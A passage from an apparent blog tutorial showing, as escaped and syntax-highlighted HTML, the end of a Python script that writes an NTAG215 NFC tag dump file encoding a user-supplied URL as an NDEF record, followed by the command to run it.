&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;        &quot;SAK: 00&quot;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;        &quot;Data format version: 2&quot;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;        &quot;NTAG/Ultralight type: NTAG215&quot;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;        &quot;Signature: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&quot;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;        &quot;Mifare version: 00 04 04 02 01 00 11 03&quot;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;        &quot;Counter 0: 0&quot;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;        &quot;Tearing 0: 00&quot;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;        &quot;Counter 1: 0&quot;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;        &quot;Tearing 1: 00&quot;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;        &quot;Counter 2: 0&quot;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;        &quot;Tearing 2: 00&quot;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;        &quot;Pages total: 135&quot;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;        &quot;Pages read: 135&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;    ]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;    pages &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; []&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B949E&quot;&gt;    # Blocks 0-2: UID, BCC, Static Lock and Internal Bytes&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;    pages.append(&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;f&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&quot;Page 0: &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;uid[&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;:02X}&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt; {&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;uid[&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;:02X}&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt; {&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;uid[&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;:02X}&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt; {&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;bcc0&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;:02X}&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;    pages.append(&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;f&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&quot;Page 1: &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;uid[&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;3&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;:02X}&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt; {&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;uid[&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;4&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;:02X}&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt; {&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;uid[&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;:02X}&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt; {&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;uid[&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;6&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;:02X}&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;    pages.append(&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;f&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&quot;Page 2: &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;bcc1&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;:02X}&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; 48 00 00&quot;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B949E&quot;&gt;    # Block 3: Capability Container (CC)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B949E&quot;&gt;    # E1: NDEF Magic Number, 10: Version 1.0, 3E: 496 bytes data area&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;    pages.append(&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&quot;Page 3: E1 10 3E 00&quot;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B949E&quot;&gt;    # Blocks 4-129: User Data Area (User Memory)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;    tlv_data &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; encode_url_to_ndef(url)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;    user_pages &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; [tlv_data[i:i&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;4&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;] &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; i &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; range&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;len&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;(tlv_data), &lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;4&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;)]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;    current_page &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; 4&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;    for&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; p_data &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; user_pages:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;        hex_str &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; &quot; &quot;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;.join([&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;f&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;b&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;:02X}&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt; for&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; b &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; p_data])&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;        pages.append(&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;f&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&quot;Page &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;current_page&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;hex_str&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;        current_page &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;+=&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; 1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;    for&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; i &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; range&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;(current_page, &lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;130&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;        pages.append(&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;f&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&quot;Page &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;i&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;: 00 00 00 00&quot;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B949E&quot;&gt;    # Blocks 130-134: Dynamic Lock, CFG and Password Configuration&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;    pages.append(&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&quot;Page 130: 00 00 00 BD&quot;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;    pages.append(&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&quot;Page 131: 04 00 00 FF&quot;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;    pages.append(&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&quot;Page 132: 00 05 00 00&quot;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;    pages.append(&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&quot;Page 133: FF FF FF FF&quot;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;    pages.append(&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&quot;Page 134: 00 00 00 00&quot;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;    footer &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;        &quot;Failed authentication attempts: 0&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;    ]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;.join(header &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; pages &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; footer)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; __name__&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt; ==&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; &quot;__main__&quot;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; len&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;(sys.argv) &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;!=&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; 2&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;        print&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&quot;Usage: python3 generate_ndef_url.py &amp;#x3C;URL&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;        print&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&quot;Example: python3 generate_ndef_url.py &apos;https://windson.cc&apos;&quot;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;        sys.exit(&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;    url_input &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; sys.argv[&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;    try&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;        nfc_data &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; generate_nfc_file(url_input)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B949E&quot;&gt;        # Extract main domain from URL for filename&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;        domain &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; url_input.split(&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&quot;://&quot;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;)[&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;].split(&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&quot;/&quot;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;)[&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;].replace(&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&quot;.&quot;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&quot;_&quot;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;        filename &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt; f&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&quot;url_&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;domain&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;.nfc&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;        with&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; open&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;(filename, &lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&quot;w&quot;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFA657&quot;&gt;encoding&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&quot;utf-8&quot;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;as&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; f:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;            f.write(nfc_data)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;        print&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;f&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&quot;Execution complete. File saved as: &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;filename&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;    except&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; Exception&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt; as&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; e:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;        print&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;f&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&quot;Error: &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;e&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In terminal enter:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-default&quot; style=&quot;background-color:#0d1117;color:#e6edf3; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFA657&quot;&gt;python3&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt; &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;YOUR_FILE_NAM&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;E&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; &quot;YOUR_URL&quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
